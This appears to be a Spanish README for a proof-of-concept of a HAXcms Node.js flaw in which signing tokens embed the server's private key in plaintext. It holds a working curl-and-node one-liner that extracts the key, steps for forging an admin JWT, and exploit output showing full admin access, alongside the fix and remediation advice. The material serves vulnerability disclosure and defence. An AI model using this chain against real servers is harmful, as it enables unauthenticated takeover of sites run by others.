
PoC y writeup para CVE-2026-46395: divulgación no autenticada de claves privadas mediante HMAC roto en HAXcms Node.js (CWE-321/CWE-200). Solo para investigación de seguridad autorizada.
Prueba de concepto únicamente para pruebas de seguridad e investigación autorizadas. La vulnerabilidad descrita aquí está corregida en la última versión de HAXcms. Este PoC se publica para que defensores e investigadores puedan verificar el problema en instancias sin parchear que posean o que estén explícitamente autorizados a probar.
| CVE | CVE-2026-46395 |
| Componente | Backend Node.js de HAXcms - haxcms-nodejs/src/lib/HAXCMS.js |
| Vulnerabilidad | Clave criptográfica hardcodeada + divulgación de clave privada (CWE-321, CWE-200) |
| Gravedad | Crítica - CVSS 3.1 9.8 |
| Ataque | No autenticado, una sola petición HTTP, sin interacción del usuario |
| Estado | Corregido upstream. Afecta a versiones anteriores al parche. |
| Proyecto | elmsln/HAXcms |
| Reportero | Shreyas Challa ([email protected]) |
hmacBase64() en el backend Node.js de HAXcms (src/lib/HAXCMS.js:2158-2163)
contiene dos errores criptográficos que, en conjunto, permiten a cualquier atacante
no autenticado recuperar el secreto maestro de firma del servidor (privateKey + salt)
y forjar JWT de nivel administrador.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" se usa como clave de firma
en lugar de key, por lo que el HMAC no proporciona secreto.key real (el privateKey + salt
del sistema) se concatena al digest y se codifica en base64 dentro del token
devuelto.Por lo tanto, cada token tiene la estructura:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
Un atacante decodifica en base64 cualquier token, descarta los primeros 32 bytes y
lee directamente la clave privada. El endpoint /system/api/connectionSettings está en
la lista de exclusión de JWT (src/app.js) y devuelve varios de estos tokens sin
autenticación, por lo que una sola petición GET expone la clave.
El backend PHP (
HAXCMS.php:1619-1631) lo implementa correctamente (firmado con la clave real, devuelve solo el digest → tokens de 44 caracteres). La versión Node.js defectuosa emite tokens de 139+ caracteres, una señal visible de que se incrustan datos adicionales.
Una sola petición no autenticada permite el compromiso total:
GET /system/api/connectionSettings, decodificar cualquier token en base64 y descartar los primeros 32 bytes.jwt.sign(payload, privateKey+salt).user_token, form_token, etc.Esto funciona incluso después de que el administrador establezca una contraseña segura, y los tokens forjados no generan eventos de inicio de sesión en los registros.
poc_hmac_key_leak.js ejecuta toda la cadena de principio a fin contra una instancia
en funcionamiento e imprime cada paso de forma detallada: obtener tokens → extraer la
clave → verificar la clave → forjar JWT → forjar tokens de petición → llamar a un
endpoint autenticado → crear un sitio para demostrar acceso de escritura.
Ponga en marcha una instancia de prueba local:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
Si jsonwebtoken no está instalado, el PoC aún extrae y verifica la clave y simplemente
omite los pasos de forja de JWT.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
Reemplace la función defectuosa con un HMAC con clave correcto que devuelva solo el digest:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Después de aplicar el parche:
privateKey y salt en cada instancia desplegada: cualquier token
emitido anteriormente contiene la clave antigua en texto plano (en respuestas HTTP,
registros e historial del navegador).Actualice a la última versión de HAXcms, que contiene la corrección de upstream.
Este problema se notificó a los mantenedores de HAXcms y se corrigió antes de su publicación. El PoC se publica solo después de que hubo un parche disponible. Úselo exclusivamente contra sistemas que posea o que esté explícitamente autorizado a probar.
Este material se proporciona para investigación defensiva, educación y pruebas de
seguridad autorizadas. Ejecutarlo contra sistemas sin permiso explícito puede ser
ilegal. Usted es el único responsable de cumplir con todas las leyes aplicables y de
obtener la autorización antes de realizar las pruebas. Se proporciona "tal cual", sin
garantía (consulte LICENSE).